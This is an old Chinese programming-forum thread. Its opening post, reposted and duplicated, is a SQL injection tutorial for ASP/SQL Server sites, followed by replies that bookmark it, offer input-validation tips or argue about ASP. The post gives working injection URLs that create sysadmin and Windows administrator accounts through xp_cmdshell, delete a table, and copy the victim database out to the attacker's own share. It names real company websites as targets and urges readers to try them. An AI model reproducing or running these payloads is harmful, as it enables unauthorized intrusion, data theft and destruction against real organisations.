28,404
社区成员
发帖
与我相关
我的任务
分享最近才发现我的程序里有如此多的漏洞, 好痛心, 现特贴出来让大家看看, 希引以为戒!
转贴, 记不住来源地址了.
程的书上，源代码例子就有这个漏洞存在，其实只是一些合法的ASP对SQL的请求，就留下后患无穷！
这种攻击方法最早源于''or''1''=''1的漏洞（我们暂且称其为漏洞），这个漏洞的原理我想大家因该都知道了，那么随之而来的便是;exec
sp_addlogin hax（在数据库内添加一个hax用户），但是这个方法的限制很大，首先ASP使用的SQL Server账号是个管理员，其次请求的提交变
量在整个SQL语句的最后，因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库，那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，你的sp_addlogin自然也不能正常运行了，因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释，这样就不会有语法错误了，sp_addlogin正常执行！
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add'';--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net localgroup administrators hax /add'';--
这样，你在他的数据库和系统内都留下了hax管理员账号了
当然，前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏洞的。
以后我们会讨论，如果对方的ASP不是用SQL管理员账号，我们如何入侵，当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个''符号，主要看对方的ASP怎么写了,再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如天融信的主页，有新闻内容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，报语法错误，select 123错误，显而易见，天融新的ASP在newid变量后面用''号结束
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117'';delete news;--
哈哈，我想只要表名猜对了，新闻库就被删了
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限
但是我们不知道库名该怎么？看看db_name()函数吧
打开你的query analyzer，看看print db_name() ，呵呵，当前的数据库名就出来了
以次类推，如下： declare @a sysname;set @a=db_name();backup database @a to disk=''你的IP你的共享目录bak.dat'' ,name=''test'';--
呵呵，他的当前数据库就备份到你的硬盘上了，接下来要做的大家心里都明白了吧
同理这个方法可以找到对方的SQL的IP
先装一个防火墙，打开ICMP和139TCP和445TCP的警告提示
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell ''ping 你的IP''
如果防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大 一点的网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到源代码时，我想只有这个方法能很快的定位对方的SQL Server的位置了
那么，如果对方ASP没有SQL管理员权限，我们就不能调用xp_cmdshell了，该怎么办？
别着急，试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共享目录bak.dat''
,name=''test'';--
呵呵，你的防火墙该发出警告了，有人连接你的445或139(win9端口了，这样，对方的SQL的ip一样也可以暴露 那么如果对方连某个数据库的owner也不是的话，我们该怎么办？下次我会告诉大幸陨蟯rl希望大家通过vbscript提交，因为浏览器的地址栏会屏蔽一些特殊字符，这样你的命令就不能完整传输了
window.location.herf=URL
补充：这个问题以前载网上也提出来过，但是只是一些简单的xp_cmdshell调用限制很大，其实这里面还有很多值得深入的地方比如 www.guosen.com.cn。国信证卷就有这个问题，而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了，字符串会被过滤，但是 我尝试了，用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号！由于对方防火墙很严checkpoint数据报进出 都只开放80端口因此，要想获得他的数据库结构比较困难了，但是还是有办法可以做到的：P
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时，他们会很有用的！
程的书上，源代码例子就有这个漏洞存在，其实只是一些合法的ASP对SQL的请求，就留下后患无穷！
这种攻击方法最早源于''or''1''=''1的漏洞（我们暂且称其为漏洞），这个漏洞的原理我想大家因该都知道了，那么随之而来的便是;exec
sp_addlogin hax（在数据库内添加一个hax用户），但是这个方法的限制很大，首先ASP使用的SQL Server账号是个管理员，其次请求的提交变
量在整个SQL语句的最后，因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库，那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，你的sp_addlogin自然也不能正常运行了，因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释，这样就不会有语法错误了，sp_addlogin正常执行！
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add'';--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net localgroup administrators hax /add'';--
这样，你在他的数据库和系统内都留下了hax管理员账号了
当然，前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏洞的。
以后我们会讨论，如果对方的ASP不是用SQL管理员账号，我们如何入侵，当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个''符号，主要看对方的ASP怎么写了,再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如天融信的主页，有新闻内容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，报语法错误，select 123错误，显而易见，天融新的ASP在newid变量后面用''号结束
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117'';delete news;--
哈哈，我想只要表名猜对了，新闻库就被删了
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限
但是我们不知道库名该怎么？看看db_name()函数吧
打开你的query analyzer，看看print db_name() ，呵呵，当前的数据库名就出来了
以次类推，如下： declare @a sysname;set @a=db_name();backup database @a to disk=''你的IP你的共享目录bak.dat'' ,name=''test'';--
呵呵，他的当前数据库就备份到你的硬盘上了，接下来要做的大家心里都明白了吧
同理这个方法可以找到对方的SQL的IP
先装一个防火墙，打开ICMP和139TCP和445TCP的警告提示
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell ''ping 你的IP''
如果防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大 一点的网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到源代码时，我想只有这个方法能很快的定位对方的SQL Server的位置了
那么，如果对方ASP没有SQL管理员权限，我们就不能调用xp_cmdshell了，该怎么办？
别着急，试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共享目录bak.dat''
,name=''test'';--
呵呵，你的防火墙该发出警告了，有人连接你的445或139(win9端口了，这样，对方的SQL的ip一样也可以暴露 那么如果对方连某个数据库的owner也不是的话，我们该怎么办？下次我会告诉大幸陨蟯rl希望大家通过vbscript提交，因为浏览器的地址栏会屏蔽一些特殊字符，这样你的命令就不能完整传输了
window.location.herf=URL
补充：这个问题以前载网上也提出来过，但是只是一些简单的xp_cmdshell调用限制很大，其实这里面还有很多值得深入的地方比如 www.guosen.com.cn。国信证卷就有这个问题，而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了，字符串会被过滤，但是 我尝试了，用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号！由于对方防火墙很严checkpoint数据报进出 都只开放80端口因此，要想获得他的数据库结构比较困难了，但是还是有办法可以做到的：P
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时，他们会很有用的！
...全文
请发表友善的回复…
发表回复
weijiajia11 2003-12-28
- 打赏
- 举报
对
alan chen 1315333 qq 2003-08-16
- 打赏
- 举报
还有100分未结,呵呵
tuoshi 2003-08-16
- 打赏
- 举报
我都没有注意到，看来要对传递的值做判断限制了，用正则表达式。。。
aloxy 2003-08-16
- 打赏
- 举报
VJ++难道没有漏洞？
只不过asp用的人应该最多了，
Microsoft的网站都在用ASP/ASP.NET
不能说那一个工具不好，它总有完善和改进的地方.
Unix的漏洞一定也有很多
只是一般人没有去用，
微软的东西发现漏洞多是因为用户很多，
所以很多问题在应用中发现了
哈哈~
我不认为UNIX，java，C++的一定比Microsoft，VB就高明，
希望那些弄UNIX，java，C++的不要来轻视我们的VB和asp.
如果拿一个语言或系统的学习难度来评价他的好坏，我觉得很肤浅。
各个系统、工具应用的领域和侧重点不同，不能一概而论。
只是片面之见，
希望和对编程工具VB抱有成见的朋友友好讨论!
只不过asp用的人应该最多了，
Microsoft的网站都在用ASP/ASP.NET
不能说那一个工具不好，它总有完善和改进的地方.
Unix的漏洞一定也有很多
只是一般人没有去用，
微软的东西发现漏洞多是因为用户很多，
所以很多问题在应用中发现了
哈哈~
我不认为UNIX，java，C++的一定比Microsoft，VB就高明，
希望那些弄UNIX，java，C++的不要来轻视我们的VB和asp.
如果拿一个语言或系统的学习难度来评价他的好坏，我觉得很肤浅。
各个系统、工具应用的领域和侧重点不同，不能一概而论。
只是片面之见，
希望和对编程工具VB抱有成见的朋友友好讨论!
chers 2003-07-26
- 打赏
- 举报
收藏一下，谢谢楼主，以后一定要注意这些问题！
t98 2003-07-26
- 打赏
- 举报
打个记号
garylau 2003-07-26
- 打赏
- 举报
不错，谢谢楼主！
flyingxfxf 2003-07-26
- 打赏
- 举报
谁给解释一下好么？
看不太懂
源于''or''1''=''1的漏洞 是什么意思?
看不太懂
源于''or''1''=''1的漏洞 是什么意思?
flyingxfxf 2003-07-26
- 打赏
- 举报
看不太懂
源于''or''1''=''1的漏洞 是什么意思?
源于''or''1''=''1的漏洞 是什么意思?
hxx986 2003-07-26
- 打赏
- 举报
我认为ASP本来的漏洞就是很多嘛，为什么不用VJ++呢
lpeng 2003-07-22
- 打赏
- 举报
mark
hengxin54 2003-07-15
- 打赏
- 举报
贴子提前得太频繁， 呵呵。。。。。。。。。
chaoqunjiang 2003-07-15
- 打赏
- 举报
mark! :)
IntoPython 2003-07-15
- 打赏
- 举报
re
ceocio 2003-07-15
- 打赏
- 举报
mark
---------------------------------
Welcome to My WebSite:
http://www.ceocio.net
---------------------------------
---------------------------------
Welcome to My WebSite:
http://www.ceocio.net
---------------------------------
zorou_fatal 2003-07-15
- 打赏
- 举报
收藏一下
cloudchen 2003-07-14
- 打赏
- 举报
好贴！顶一下
数字querystring用cint不好，如果用户手动更改的话cint会出错的。
用正则替换所有不是[0-9]的最好了，isnumeric也不是最好的方案，因为在isnumeric中逗号,句号.负号-都是合法的，这样不能有效的验证，尤其是要用数字去取数据库记录的时候最容易出错
数字querystring用cint不好，如果用户手动更改的话cint会出错的。
用正则替换所有不是[0-9]的最好了，isnumeric也不是最好的方案，因为在isnumeric中逗号,句号.负号-都是合法的，这样不能有效的验证，尤其是要用数字去取数据库记录的时候最容易出错
dreamfly8848 2003-07-13
- 打赏
- 举报
是啊,如果参数是id==456456等数字的话,我觉得一定要用.cint(id)先通这一关.
dreamfly8848 2003-07-13
- 打赏
- 举报
好文章，我收藏。
hengxin54 2003-07-13
- 打赏
- 举报
我是新手, 还不知道解决办法, 请高手把解决方法贴出来.
加载更多回复（23）
